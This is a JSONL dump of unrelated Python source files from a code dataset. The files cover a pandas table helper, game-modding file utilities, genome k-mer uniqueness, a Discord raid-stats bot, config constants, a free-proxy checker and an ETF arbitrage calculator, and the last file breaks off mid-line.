+{"seq_id":"17926480","text":"\nimport pandas as pd\n\n\nclass Tabulka(object):\n \"\"\"tabulka\"\"\"\n\n def __init__(self, colnames): #, colwidths, r_align=[], offset=5\n \n self.colnames = colnames\n self.data = {cn: [] for cn in colnames}\n\n #self.colwidths = colwidths\n #self.r_align = r_align\n #self.offset = offset\n\n #self.width = np.array(colwidths).sum()\n #self.data = [[]] * len(colnames)\n\n\n def pridat_radek(self, values):\n\n if(type(values) is list):\n for i, val in enumerate(values):\n key = self.colnames[i]\n self.data[key].append(val)\n\n elif(type(values) is dict):\n for key, val in dict(values).items():\n self.data[key].append(val)\n\n \n @property\n def dataframe(self):\n return pd.DataFrame(self.data)\n\n\n #def __str__(self):\n # table = ''\n # table_line = ' ' * self.offset\n\n # for i, col in enumerate(self.colnames):\n # table_line += str(col).ljust(self.colwidths[i])\n\n # table += table_line + '\\n'\n # table += ' ' + '_' * (self.width + self.offset) + '\\n'\n\n # for i in range(len(self.data[0])): # rows\n # table_line = ' ' * self.offset\n\n # for j, col in enumerate(self.data): # cols\n # #str(col).isdigit()\n\n # if j in self.r_align: \n # table_line += str(col[i]).ljust(self.colwidths[j])\n # else:\n # table_line += str(col[i]).rjust(self.colwidths[j])\n\n # table += table_line + '\\n'\n\n # table += ' ' + '-' * (self.width + self.offset) + '\\n'\n\n # return table\n","sub_path":"RozpoznavaniSlov/model/dok.py","file_name":"dok.py","file_ext":"py","file_size_in_byte":1658,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"87"}
+{"seq_id":"163543465","text":"\"\"\"NOTE: This file is Python 3.7 compatible for Blender 2.9X use.\"\"\"\n\n__all__ = [\"PACKAGE_PATH\", \"find_dcx\", \"create_bak\", \"find_steam_common_paths\", \"import_arbitrary_file\"]\n\nimport ctypes\nimport importlib.util\nimport logging\nimport shutil\nimport string\nimport sys\nimport types\nimport typing as tp\nfrom pathlib import Path\n\n_LOGGER = logging.getLogger(__name__)\n\n\ndef PACKAGE_PATH(*relative_parts) -> Path:\n if getattr(sys, \"frozen\", False) and hasattr(sys, \"_MEIPASS\"):\n return Path(getattr(sys, \"_MEIPASS\"), *relative_parts)\n return Path(__file__).parent.joinpath(\"..\").resolve().joinpath(*relative_parts)\n\n\ndef find_dcx(file_path):\n \"\"\"Returns DCX (preferred) or non-DCX version of the given file path.\n\n It doesn't matter if the file path already ends with '.dcx'. If neither file exists, FileNotFoundError is raised.\n \"\"\"\n file_path = Path(file_path)\n if file_path.suffix == \".dcx\":\n no_dcx, dcx = (file_path.parent / file_path.stem, file_path)\n else:\n no_dcx, dcx = (file_path, file_path.with_suffix(file_path.suffix + \".dcx\"))\n if Path(dcx).is_file():\n return dcx\n elif Path(no_dcx).is_file():\n return no_dcx\n raise FileNotFoundError(f\"Could not find DCX or non-DCX version of {file_path}.\")\n\n\ndef create_bak(file_path, bak_suffix=\".bak\"):\n file_path = Path(file_path)\n if file_path.is_file():\n bak_path = file_path.with_suffix(file_path.suffix + bak_suffix)\n if not bak_path.is_file():\n shutil.copy2(file_path, bak_path)\n _LOGGER.info(f\"Created backup file: '{bak_path}'.\")\n return True\n return False\n\n\ndef find_steam_common_paths():\n \"\"\"Not using anymore. Seems to cause 'WinError 87' OSErrors for some people for some drives.\"\"\"\n steam_common_paths = []\n for drive in _get_drives():\n for arch in {\"\", \" (x86)\"}:\n common_path = Path(drive, f\"Program Files{arch}/Steam/steamapps/common/\")\n if common_path.is_dir():\n steam_common_paths.append(common_path)\n return steam_common_paths\n\n\ndef _get_drives():\n drives = []\n bit_mask = ctypes.windll.kernel32.GetLogicalDrives()\n for letter in string.ascii_uppercase:\n if bit_mask & 1:\n drives.append(letter + \":/\")\n bit_mask >>= 1\n return drives\n\n\ndef import_arbitrary_file(path: tp.Union[str, Path]) -> types.ModuleType:\n path = Path(path)\n spec = importlib.util.spec_from_file_location(path.stem, str(path))\n module = importlib.util.module_from_spec(spec)\n # noinspection PyUnresolvedReferences\n spec.loader.exec_module(module)\n sys.modules[spec.name] = module\n return module\n","sub_path":"soulstruct/utilities/files.py","file_name":"files.py","file_ext":"py","file_size_in_byte":2667,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"87"}
+{"seq_id":"634984041","text":"# Using downloaded hg19 from UCSC genome browser, find out the nucleotides of \n# 20 bp long are unique and also there are no similar sequences with 2 bp or \n# less edit distance. Unique 20 bp means that it appear once in all \n# chromosome, not just a chromosome. If 20 bp is unique in chromosome 1, but \n# also found in chromosome 7, that's not unique.\n\n# reference: https://github.com/aflc/editdistance\nimport sys\nimport editdistance\nfrom Bio import SeqIO\n\nclass Nucleotide:\n\tdef __init__(self, index, seq):\n\t\tself.index = index\n\t\tself.seq = seq\n\t\tself.check = True\n\n\tdef tostring(self):\n\t\toutput = 'Index: ' + str(self.index) + ', Seq: ' + self.seq + ', Check: ' + str(self.check) + '\\n'\n\t\treturn str(output)\n\ndef fine_kmers_obj(string, k):\n\tkmers_obj = []\n\tn = len(string)\n\tfor i in range(0, n - k + 1):\n\t\tnucl = Nucleotide(i, string[i:i+k].upper())\n\t\tkmers_obj.append(nucl)\n\treturn kmers_obj\n\ndef find_unique(kmers, k):\n\tlength = len(kmers)\n\tunique_seq = []\n\n\tfor i in range(0, length):\n\t\tif kmers[i].check == False:\n\t\t\tcontinue\n\t\tfor j in range(i + k, length):\n\t\t\tif kmers[i].seq == kmers[j].seq:\n\t\t\t\t# print i, kmers[i].seq, j, kmers[j].seq, 'equal'\n\t\t\t\tkmers[i].check = False\n\t\t\t\tkmers[j].check = False\n\t\t\telse:\n\t\t\t\tedit_dist = editdistance.eval(kmers[i].seq, kmers[j].seq)\n\t\t\t\tif edit_dist <= 2:\n\t\t\t\t\t# print i, kmers[i].seq, j, kmers[j].seq, 'edit', edit_dist\n\t\t\t\t\tkmers[i].check = False\n\t\t\t\t\tkmers[j].check = False\n\n\tfor i in range(0, length):\n\t\tif kmers[i].check == True:\n\t\t\tunique_seq.append(kmers[i])\n\n\treturn unique_seq\n\ndef main(argv):\n\tinput_file_name = sys.argv[1]\n\toutput_file_name = input_file_name[:-2] + 'unique.out'\n\toutput_file = open(output_file_name, 'w')\n\toutput_file.write('Input file name: ' + input_file_name + '\\n')\n\n\t# read file in fasta\n\trecords = SeqIO.parse(input_file_name, 'fasta')\n\tseq = ''\n\tfor record in records:\n\t\tseq = record.seq\n\n\t# parse into k-mer\n\tk = 10\n\tkmers = fine_kmers_obj(seq, k)\n\t# print length\n\n\tunique_seq = find_unique(kmers, k)\n\tfor i in range(0, len(unique_seq)):\n\t\toutput_file.write(unique_seq[i].tostring())\n\nif __name__ == '__main__':\n\tmain(sys.argv)","sub_path":"unique_per_chrom.py","file_name":"unique_per_chrom.py","file_ext":"py","file_size_in_byte":2111,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"87"}
+{"seq_id":"407837887","text":"import asyncio\nimport math\nfrom typing import List, Optional\nfrom csv import DictReader\nfrom logging import getLogger\nfrom discord.ext import commands\n\nfrom notbot.context import Context, Module\nfrom notbot.services import get_raid_stat_service, get_raid_service\nfrom notbot.models import RaidPlayerAttack, RaidAttacks\nimport notbot.cogs.util.formatter as formatter\nfrom .checks import has_raid_management_permissions\nfrom .util import create_embed, num_to_hum, DATETIME_FORMAT, get_hms\nfrom .converter import ArrowDateTimeConverter\n\nMODULE_NAME = \"stats_module\"\n\nlogger = getLogger(__name__)\n\n\nclass RaidStatsModule(commands.Cog, Module):\n def __init__(self, context: Context):\n self.bot = context.get_bot()\n self.raid_stat_service = get_raid_stat_service(context)\n self.raid_service = get_raid_service(context)\n\n def get_name(self):\n return MODULE_NAME\n\n @commands.group(name=\"raidstats\", aliases=[\"rs\"], invoke_without_command=True)\n async def stats(self, ctx, raid_id: Optional[int]):\n # TODO: check if raid is complete\n if not raid_id:\n last_cleared_raid = await self.raid_service.get_last_completed_raid(\n ctx.guild.id\n )\n if not last_cleared_raid:\n raise commands.BadArgument(\n \"Could not find any completed ( including uploaded attacks ) raid for your guild\"\n )\n\n raid_id = last_cleared_raid.id\n\n has_permission_and_exists, attacks_exist = await asyncio.gather(\n self.raid_stat_service.has_raid_permission_and_raid_exists(\n ctx.guild.id, raid_id\n ),\n self.raid_stat_service.check_if_attacks_exist(ctx.guild.id, raid_id),\n )\n\n if not has_permission_and_exists:\n raise commands.BadArgument(\"Raid does not exist for your guild\")\n\n if not attacks_exist:\n raise commands.BadArgument(\"Please upload player attacks\")\n\n logger.debug(\"Loading raid stats for raid %s\", raid_id)\n\n awaitables = [] # list to collect all messages\n raid_stats = await self.raid_stat_service.calculate_raid_stats(raid_id)\n raid_data = await self.raid_stat_service.load_raid_data_for_stats(\n ctx.guild.id, raid_id\n )\n\n duration_hms = get_hms(raid_stats.cleared_at - raid_stats.started_at)\n d_h, d_m, d_s = duration_hms[0], duration_hms[1], duration_hms[2]\n\n embed = create_embed(self.bot)\n\n embed.title = f\"Raid conclusion (raid_id: {raid_id})\"\n\n embed.add_field(\n name=\"**General Info**\",\n value=\"{}\".format(\n \"\\n\".join(\n [\n f\"Attackers: {raid_stats.attackers}\",\n f\"Cycles: {math.ceil(raid_stats.max_hits / 4)}\",\n f\"Total Damage Dealt: {num_to_hum(raid_stats.total_dmg)}\",\n f\"Started at: {raid_stats.started_at.format(DATETIME_FORMAT)}\",\n f\"Cleared at: {raid_stats.cleared_at.format(DATETIME_FORMAT)}\",\n f\"Time needed: {d_h}h {d_m}m {d_s}s\",\n ]\n )\n ),\n inline=False,\n )\n\n embed.add_field(\n name=\"**Attacks**\",\n value=\"\\n\".join(\n self._create_min_max_avg_texts(raid_stats.min_hits, raid_stats.max_hits)\n ),\n )\n\n embed.add_field(\n name=\"**Average Player Damage**\",\n value=\"\\n\".join(\n self._create_min_max_avg_texts(\n raid_stats.min_avg, raid_stats.max_avg, raid_stats.total_avg\n )\n ),\n )\n\n embed.add_field(\n name=\"**Player Damage**\",\n value=\"\\n\".join(\n self._create_min_max_avg_texts(\n raid_stats.min_dmg, raid_stats.max_dmg, raid_stats.avg_dmg\n )\n ),\n )\n\n awaitables.append(ctx.send(embed=embed))\n\n raid_player_hits = []\n string_length = 0\n DISCORD_MAX_CONTENT_LENGHT = 2000 - 50 # some buffer\n\n latest_raid_data = raid_data[0]\n if len(raid_data) > 1:\n reference_raid_data = raid_data[1]\n else:\n reference_raid_data = None\n\n for idx, player_attack in enumerate(latest_raid_data.raid_player_attacks):\n if reference_raid_data:\n reference_player_attack = next(\n (\n raid_player_attack\n for raid_player_attack in reference_raid_data.raid_player_attacks\n if raid_player_attack.player_id == player_attack.player_id\n ),\n None,\n )\n else:\n reference_player_attack = None\n\n if not reference_player_attack:\n logger.debug(\n \"Did not found any previous attacks for player: %s (%s)\",\n player_attack.player_name,\n player_attack.player_id,\n )\n\n player_average = (\n player_attack.total_dmg / player_attack.total_hits\n if player_attack.total_hits\n else 0\n )\n player_reference_average = 0\n\n if reference_player_attack and reference_player_attack.total_hits:\n player_reference_average = (\n reference_player_attack.total_dmg\n / reference_player_attack.total_hits\n )\n\n player_average_diff = player_average - player_reference_average\n player_average_diff_str = \"({}{})\".format(\n \"+\" if player_average_diff > 0 else \"\", num_to_hum(player_average_diff)\n )\n\n stat_string = \"{:2}. {:<20}: {:>8}, {:2}, {:>8} {}\".format(\n idx + 1,\n player_attack.player_name,\n num_to_hum(player_attack.total_dmg),\n player_attack.total_hits,\n num_to_hum(player_average),\n player_average_diff_str if reference_player_attack else \"\",\n )\n\n if string_length + len(stat_string) >= DISCORD_MAX_CONTENT_LENGHT:\n awaitables.append(\n ctx.send(\"```{}```\".format(\"\\n\".join(raid_player_hits)))\n )\n string_length = 0\n raid_player_hits.clear()\n\n string_length += len(stat_string)\n raid_player_hits.append(stat_string)\n\n awaitables.append(ctx.send(\"```{}```\".format(\"\\n\".join(raid_player_hits))))\n await asyncio.gather(*(awaitables))\n\n @stats.group(name=\"raid\", invoke_without_command=True)\n async def stats_raid(self, ctx):\n pass\n\n @stats_raid.command(name=\"upload\")\n @commands.check(has_raid_management_permissions)\n async def stats_raid_upload(self, ctx, raid_id: int, *, raid_data):\n has_permission_and_exists, attacks_exist = await asyncio.gather(\n self.raid_stat_service.has_raid_permission_and_raid_exists(\n ctx.guild.id, raid_id\n ),\n self.raid_stat_service.check_if_attacks_exist(ctx.guild.id, raid_id),\n )\n\n logger.debug(\"stats_raid_upload: Uploading raid data for raid_id %s\", raid_id)\n logger.debug(\n \"stats_raid_upload: Has permission and raid exists: %s, Stats already uploaded for this raid: %s\",\n has_permission_and_exists,\n attacks_exist,\n )\n\n if not has_permission_and_exists:\n raise commands.BadArgument(\"Raid does not exist for your guild\")\n\n if attacks_exist:\n raise commands.BadArgument(\n \"Attacks have already been uploaded for this raid. Delete them if you want to reupload\"\n )\n\n raid_attacks: List[RaidPlayerAttack] = []\n for row in DictReader(raid_data.split(\"\\n\")):\n rpa = RaidPlayerAttack(\n raid_id,\n row[\"ID\"],\n bytes(row[\"Name\"], \"ascii\", \"ignore\").decode(\"utf-8\"),\n int(row[\"Attacks\"]),\n int(row[\"Damage\"]),\n )\n raid_attacks.append(rpa)\n\n await self.raid_stat_service.save_raid_player_attacks(raid_attacks)\n await ctx.send(formatter.success_message(\"Saved raid conclusion\"))\n\n @stats_raid.command(name=\"create\")\n @commands.check(has_raid_management_permissions)\n async def stats_raid_create(\n self,\n ctx,\n started_at: ArrowDateTimeConverter,\n cleared_at: ArrowDateTimeConverter,\n ):\n raid_id = await self.raid_stat_service.create_raid_stat_entry(\n ctx.guild.id, started_at, cleared_at\n )\n\n await ctx.send(\n formatter.success_message(f\"Created new raid entry with id {raid_id}\")\n )\n\n @stats_raid.command(name=\"delete\")\n @commands.check(has_raid_management_permissions)\n async def stats_raid_delete(self, ctx, raid_id: int):\n has_permissions_and_exists = await self.raid_stat_service.has_raid_permission_and_raid_exists(\n ctx.guild.id, raid_id\n )\n\n if not has_permissions_and_exists:\n raise commands.BadArgument(\"Raid does not exist for your guild\")\n\n await self.raid_stat_service.delete_raid_entry(raid_id)\n\n await ctx.send(\n formatter.success_message(f\"Deleted raid entry with id {raid_id}\")\n )\n\n @stats_raid.command(name=\"delete_attacks\")\n @commands.check(has_raid_management_permissions)\n async def stats_raid_delete_attacks(self, ctx, raid_id: int):\n has_permissions_and_exists = await self.raid_stat_service.has_raid_permission_and_raid_exists(\n ctx.guild.id, raid_id\n )\n\n if not has_permissions_and_exists:\n raise commands.BadArgument(\"Raid does not exist for your guild\")\n\n await self.raid_stat_service.delete_attacks_for_raid(raid_id)\n\n await ctx.send(\n formatter.success_message(f\"Deleted raid attacks for raid {raid_id}\")\n )\n\n @stats.command(name=\"list\")\n async def stats_list(self, ctx):\n \"\"\"\n Lists last couple raids ( 10 )\n Lists uncompleted raids ( raid stats uploaded yet, up to 10 )\n \"\"\"\n\n uncompleted_raids, completed_raids = await self.raid_stat_service.get_raid_list(\n ctx.guild.id\n )\n\n uncompleted_raids_with_attack_check = []\n completed_raids_with_attack_check = []\n\n aw_attacks_exist_uncompleted = asyncio.gather(\n *(\n self.raid_stat_service.check_if_attacks_exist(ctx.guild.id, raid.id)\n for raid in uncompleted_raids\n )\n )\n\n aw_attacks_exist_completed = asyncio.gather(\n *(\n self.raid_stat_service.check_if_attacks_exist(ctx.guild.id, raid.id)\n for raid in completed_raids\n )\n )\n\n attacks_exist_uncompleted = await aw_attacks_exist_uncompleted\n for idx, raid in enumerate(uncompleted_raids):\n attack_exists = attacks_exist_uncompleted[idx]\n uncompleted_raids_with_attack_check.append((attack_exists, raid))\n\n attacks_exist_completed = await aw_attacks_exist_completed\n for idx, raid in enumerate(completed_raids):\n attack_exists = attacks_exist_completed[idx]\n completed_raids_with_attack_check.append((attack_exists, raid))\n\n msg = \"\\n\\n\".join(\n [\n \"{}\\n{}\".format(\n \"**{}**\\n(Raid ID, started_at, cleared_at, attacks uploaded)\".format(\n raid_list[0]\n ),\n \"\\n\".join(\n [\n \"**{}**, {}, {}, {}\".format(\n r[1].id,\n r[1].started_at.format(DATETIME_FORMAT)\n if r[1].started_at\n else \"-\",\n r[1].cleared_at.format(DATETIME_FORMAT)\n if r[1].cleared_at\n else \"-\",\n \"Y\" if r[0] else \"N\",\n )\n # r = tuple from int ( attacks uploaded ) and the raid model\n for r in raid_list[1]\n ]\n ),\n )\n for idx, raid_list in enumerate(\n [\n (\"Uncompleted raids\", uncompleted_raids_with_attack_check),\n (\"Completed raids\", completed_raids_with_attack_check),\n ]\n )\n ]\n )\n\n await ctx.send(msg)\n\n def _create_min_max_avg_texts(self, min_val, max_val, avg_val=None):\n res = [\n \":arrow_double_up:: {}\".format(num_to_hum(max_val)),\n \":arrow_double_down:: {}\".format(num_to_hum(min_val)),\n ]\n\n if avg_val:\n res.append(\":heavy_minus_sign:: {}\".format(num_to_hum(avg_val)))\n return res\n\n\ndef setup(bot):\n context: Context = bot.context\n\n stats_module = context.get_module(MODULE_NAME)\n bot.add_cog(stats_module)\n\n","sub_path":"notbot/cogs/raid_stats.py","file_name":"raid_stats.py","file_ext":"py","file_size_in_byte":13341,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"87"}
+{"seq_id":"598728738","text":"\nfrom decouple import config\n\nTCP_HOST = config(\"TCP_HOST\", cast=str, default=\"0.0.0.0\")\nWAYPOINT_MANAGER_TCP_PORT = config(\"WAYPOINT_MANAGER_PORT\", cast=int, default=15006)\n\nGRPC_HOST = config(\"GRPC_HOST\", cast=str, default=\"[::]\")\nWAYPOINT_MANAGER_GRPC_PORT = config(\"WAYPOINT_MANAGER_GRPC_PORT\", cast=int, default=50053)\n\nBACKEND_HOST = config(\"BACKEND_HOST\", cast=str, default=\"[::1]\")\nBACKEND_PORT = config(\"BACKEND_PORT\", cast=int, default=50051)\n\nNUM_LIGHTHOUSE_SAMPLES = config(\"NUM_LIGHTHOUSE_SAMPLES\", cast=int, default=1)\n","sub_path":"waypoint_manager/config/const.py","file_name":"const.py","file_ext":"py","file_size_in_byte":533,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"87"}
+{"seq_id":"341968179","text":"import requests\nimport re\n\n# 爬取IP\n# 替换IP去请求\n# 拿到数据 36.25.40.89 9999 \nfor i in range(1, 100):\n url = 'https://www.xicidaili.com/nn/{}/'.format(i)\n headers = {\n \"User-Agent\": \"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36\",\n }\n response = requests.get(url, headers=headers)\n html = response.text\n # print(html)\n IPs = re.findall(r'(\\d+\\.\\d+\\.\\d+\\.\\d+) ', html, re.S)\n ports = re.findall(r'(\\d+) ', html, re.S )\n # print(IPs)\n # print(ports)\n for ip in zip(IPs, ports):\n # print(ip)\n proxies = {\n \"http\": \"http://\" + ip[0] + ':' + ip[1],\n \"https\": \"http://\" + ip[0] + ':' + ip[1],\n }\n try:\n res = requests.get(\"http://www.baidu.com\", proxies=proxies, timeout=3)\n print(ip, 'YES')\n with open('ip.text', mode='a+') as f:\n f.write(\":\".join(ip))\n except Exception as e:\n print(ip, \"No\")\n","sub_path":"spider/class/class4.py","file_name":"class4.py","file_ext":"py","file_size_in_byte":1061,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"87"}
+{"seq_id":"250025402","text":"import math\r\nimport datetime\r\nimport multiprocessing as mp\r\nimport numpy as np\r\nimport pandas as pd\r\nfrom higgsboom.MarketData.CSecurityMarketDataUtils import *\r\nimport matplotlib.pyplot as plt\r\n\r\n\r\nclass DT:\r\n # set the dir of fund&security.\r\n secUtils = CSecurityMarketDataUtils('Z:/StockData')\r\n\r\n etfNumber = '510050.SH'\r\n date = '20200102'\r\n tradelist = np.zeros((1, 1))\r\n cash_component = 0\r\n #store data in memory\r\n etfArray = np.zeros((0,0))\r\n etfdf = pd.DataFrame\r\n rtarr = []\r\n\r\n # will set the etf number, date and the etf trade list of the day.\r\n def __init__(self, etfNumber, date):\r\n self.etfNumber = etfNumber\r\n self.date = date\r\n\r\n\r\n #DT.get_return_array(self)\r\n\r\n # this function will update trade list to the current date.\r\n def get_trade_list(self):\r\n date = self.date\r\n etfNumber = self.etfNumber\r\n\r\n data = np.genfromtxt('.\\\\tradelist\\\\' + etfNumber[0:6] + '\\\\' + '510300' + date + '.TXT', dtype=str,delimiter= 'no way u can delim')\r\n\r\n i = 0\r\n data = np.row_stack(data)\r\n del_list = []\r\n\r\n while i < data.shape[0]:\r\n if data[i, 0][0] != '6' and data[i, 0][0] != '9' and data[i, 0][0] != '0' and data[i, 0][0] != '3':\r\n del_list.append(i)\r\n # get the row index of cash component\r\n if data[i, 0][0:22] =='EstimateCashComponent=':\r\n cpindex = i\r\n i += 1\r\n cp = float(str(data[cpindex,0]).replace('EstimateCashComponent=', ''))\r\n # get the array of 300etf before formatting, which contains only 1 row with all the information inside.\r\n data = np.delete(data, del_list, axis=0)\r\n\r\n # get the array of trade list by loops\r\n index = 1\r\n dtarr = np.array([data[0, :][0].split('|')])\r\n while index < data.shape[0]:\r\n lst = data[index, :]\r\n lst = np.array([lst[0].split('|')])\r\n dtarr = np.concatenate((dtarr, lst))\r\n index += 1\r\n\r\n # format the stock number with .SZ or .SH at the end\r\n i2 = 0\r\n while i2 < data.shape[0]:\r\n if dtarr[i2, 0][0] == '6' or dtarr[i2, 0][0] == '9':\r\n\r\n dtarr[i2, 0] = dtarr[i2, 0] + \".SH\"\r\n elif dtarr[i2, 0][0] == '3' or dtarr[i2, 0][0] == '0':\r\n dtarr[i2, 0] = dtarr[i2, 0] + \".SZ\"\r\n i2 += 1\r\n self.tradelist = dtarr\r\n self.cash_component = cp\r\n\r\n\r\n\r\n\r\n\r\n\r\n # get the fund taq of the trading time horizon\r\n def get_etf_TAQ_array(self):\r\n fundTAQ = self.secUtils.FundTAQDataFrame(self.etfNumber, self.date)\r\n fundArray = np.array(fundTAQ)\r\n fundArray = fundArray[fundArray[:, fundTAQ.columns.values.tolist().index('TradingTime')] < '15:00:00.000']\r\n fundArray = fundArray[fundArray[:, fundTAQ.columns.values.tolist().index('TradingTime')] > '09:30:00.000']\r\n self.etfArray = fundArray\r\n\r\n self.etf_i_b10 = fundTAQ.columns.values.tolist().index('BuyVolume10')\r\n self.etf_i_b1 = fundTAQ.columns.values.tolist().index('BuyVolume01')\r\n self.etf_i_bp10 = fundTAQ.columns.values.tolist().index('BuyPrice10')\r\n self.etf_i_bp1 = fundTAQ.columns.values.tolist().index('BuyPrice01')\r\n\r\n self.etf_i_s10 = fundTAQ.columns.values.tolist().index('SellVolume10')\r\n self.etf_i_s1 = fundTAQ.columns.values.tolist().index('SellVolume01')\r\n self.etf_i_sp10 = fundTAQ.columns.values.tolist().index('SellPrice10')\r\n self.etf_i_sp1 = fundTAQ.columns.values.tolist().index('SellPrice01')\r\n\r\n rtarr = np.zeros((fundArray.shape[0],8))\r\n rtarr = np.concatenate((np.row_stack(fundArray[:, fundTAQ.columns.values.tolist().index('TradingTime')]),rtarr),axis = 1)\r\n\r\n stktdarr = np.zeros((fundArray.shape[0],4))\r\n stktdarr = np.concatenate((np.row_stack(fundArray[:, fundTAQ.columns.values.tolist().index('TradingTime')]),stktdarr),axis = 1)\r\n stktdarr[:,2] = 1\r\n stktdarr[:,4] = 1\r\n setattr(DT,'rtarr',rtarr)\r\n setattr(DT,'stktdarr',stktdarr)\r\n\r\n\r\n # get the stock taq of the trading time horizon\r\n def get_stock_TAQ_array(self,stockNumber,rtarr):\r\n\r\n namearr = stockNumber + 'arr'\r\n print(namearr)\r\n stockTAQ = self.secUtils.StockTAQDataFrame(stockNumber, self.date)\r\n stockArr = np.array(stockTAQ)\r\n ttindex = stockTAQ.columns.values.tolist().index('TradingTime')\r\n\r\n stockArr = stockArr[stockArr[:, ttindex] <= '15:00:00.000']\r\n stockArr = stockArr[stockArr[:, ttindex] >= '09:30:00.000']\r\n\r\n adjstockArr = np.zeros((rtarr.shape[0], ttindex))\r\n adjstockArr = np.concatenate((adjstockArr, np.row_stack(rtarr[:, 0])), axis=1)\r\n colnum = int(stockArr.shape[1] - adjstockArr.shape[1])\r\n new0 = np.zeros((rtarr.shape[0], colnum))\r\n adjstockArr = np.concatenate(\r\n (adjstockArr, new0), axis=1)\r\n\r\n stkindex = 0\r\n etfindex = 0\r\n # make the stkarr same size as etfarr\r\n while etfindex < rtarr.shape[0]:\r\n while stkindex < stockArr.shape[0] and stockArr[stkindex, ttindex] <= adjstockArr[etfindex, ttindex] :\r\n\r\n adj_time = adjstockArr[etfindex,ttindex]\r\n adjstockArr[etfindex, :] = stockArr[stkindex , :]\r\n adjstockArr[etfindex, ttindex] = adj_time\r\n stkindex += 1\r\n\r\n if stkindex == stockArr.shape[0]:\r\n adjstockArr[etfindex, :] = stockArr[stkindex - 1, :]\r\n etfindex += 1\r\n\r\n i_s10 = stockTAQ.columns.values.tolist().index('SellVolume10')\r\n i_s1 = stockTAQ.columns.values.tolist().index('SellVolume01')\r\n i_sp10 = stockTAQ.columns.values.tolist().index('SellPrice10')\r\n i_sp1 = stockTAQ.columns.values.tolist().index('SellPrice01')\r\n\r\n i_b10 = stockTAQ.columns.values.tolist().index('BuyVolume10')\r\n i_b1 = stockTAQ.columns.values.tolist().index('BuyVolume01')\r\n i_bp10 = stockTAQ.columns.values.tolist().index('BuyPrice10')\r\n i_bp1 = stockTAQ.columns.values.tolist().index('BuyPrice01')\r\n stkarr = np.concatenate((np.row_stack(rtarr[:, 0]), adjstockArr[:, i_s10:i_s1 + 1]), axis=1)\r\n stkarr = np.concatenate((stkarr, adjstockArr[:, i_sp10:i_sp1 + 1]), axis=1)\r\n stkarr = np.concatenate((stkarr, adjstockArr[:, i_b1:i_b10 + 1]), axis=1)\r\n stkarr = np.concatenate((stkarr, adjstockArr[:, i_bp1:i_bp10 + 1]), axis=1)\r\n return(stkarr)\r\n\r\n\r\n\r\n def get_discount_etf(self):\r\n fundtaq = self.etfArray\r\n i_s10 = self.etf_i_s10\r\n i_s1 = self.etf_i_s1\r\n\r\n i_sp1 = self.etf_i_sp1\r\n dcetf = np.zeros((fundtaq.shape[0],1))\r\n fundtaq = np.concatenate((fundtaq,dcetf),axis = 1 )\r\n for index in range(fundtaq.shape[0]):\r\n ttshare = 900000\r\n current_share = 0\r\n ttcost = 0\r\n i = 0\r\n # return only the row at trade time\r\n\r\n sum_vol = fundtaq[index, i_s10:i_s1 + 1].sum()\r\n # check if there is enough shares to trade\r\n if ttshare > sum_vol:\r\n print('cant buy' + self.etfNumber )\r\n fundtaq[index, -1] = 0\r\n else:\r\n while i < 10:\r\n if float(fundtaq[index, i_s1 - i]) < ttshare - current_share:\r\n current_share += float(fundtaq[index, i_s1 - i])\r\n ttcost += float(fundtaq[index, i_s1 - i]) * float(fundtaq[index, i_sp1 - i])\r\n i += 1\r\n else:\r\n ttcost += float(ttshare - current_share) * float(fundtaq[index, i_sp1 - i])\r\n current_share += ttshare - current_share\r\n i = 10\r\n fundtaq[index, -1] = ttcost\r\n\r\n self.rtarr[:, 2] = fundtaq[:, -1]\r\n\r\n def get_premium_etf(self):\r\n fundTAQ = self.etfdf\r\n fundtaq = self.etfArray\r\n i_b10 = self.etf_i_b10\r\n i_b1 = self.etf_i_b1\r\n i_bp10 = self.etf_i_bp10\r\n i_bp1 = self.etf_i_bp1\r\n dcetf = np.zeros((fundtaq.shape[0], 1))\r\n fundtaq = np.concatenate((fundtaq, dcetf), axis=1)\r\n for index in range(fundtaq.shape[0]):\r\n ttshare = 900000\r\n current_share = 0\r\n ttreturn = 0\r\n i = 0\r\n\r\n sum_vol = fundtaq[index, i_b1:i_b10 + 1].sum()\r\n # check if there is enough shares to trade\r\n if ttshare > sum_vol:\r\n print('cant sell' + self.etfNumber)\r\n fundtaq[index, -1] = 0\r\n else:\r\n while i < 10:\r\n if float(fundtaq[index, i_b1 + i]) < ttshare - current_share:\r\n current_share += float(fundtaq[index, i_b1 + i])\r\n ttreturn += float(fundtaq[index, i_b1 + i]) * float(fundtaq[index, i_bp1 + i])\r\n i += 1\r\n else:\r\n ttreturn += float(ttshare - current_share) * float(fundtaq[index, i_bp1 + i])\r\n current_share += ttshare - current_share\r\n i = 10\r\n fundtaq[index, -1] = ttreturn\r\n\r\n\r\n self.rtarr[:, 1] = fundtaq[:, -1]\r\n\r\n def get_premium_IOPV(self,tradelist, stockArray):\r\n\r\n\r\n stockcost = stockArray[:,0]\r\n stockcost = np.concatenate((np.row_stack(stockcost),np.row_stack(stockcost),np.row_stack(stockcost)),axis = 1)\r\n stockcost[:,1] = 0\r\n stockcost[:,2] = 1\r\n if float(tradelist[3]) == 2 or float(tradelist[ 3]) == 4:\r\n stockcost[:, 1] += float(tradelist[ 5])\r\n else:\r\n quant = float((tradelist[2]))\r\n stocktaq = stockArray\r\n\r\n # return on the row at trade time\r\n stocktaq = np.concatenate((stocktaq, np.zeros((stocktaq.shape[0], 4))), axis=1)\r\n\r\n stocktaq[:, -3] = stocktaq[:, 1:11].astype(np.float).sum(axis=1)\r\n cant_trade = stocktaq[stocktaq[:, -3].astype(np.float) < quant]\r\n cant_trade[:, -1] = 0\r\n stocktaq[stocktaq[:, -3].astype(np.float) < quant] = cant_trade\r\n can_trade = stocktaq[stocktaq[:, -3].astype(np.float) >= quant]\r\n can_trade[:, -1] = 1\r\n index = 0\r\n while index < 10:\r\n col1 = can_trade[:, 10 - index]\r\n col2 = -can_trade[:, -4].astype(np.float) + quant\r\n minrow = np.array([col1, col2]).transpose()\r\n minrow = minrow.astype(np.float).min(axis=1)\r\n can_trade[:, -4] = can_trade[:, 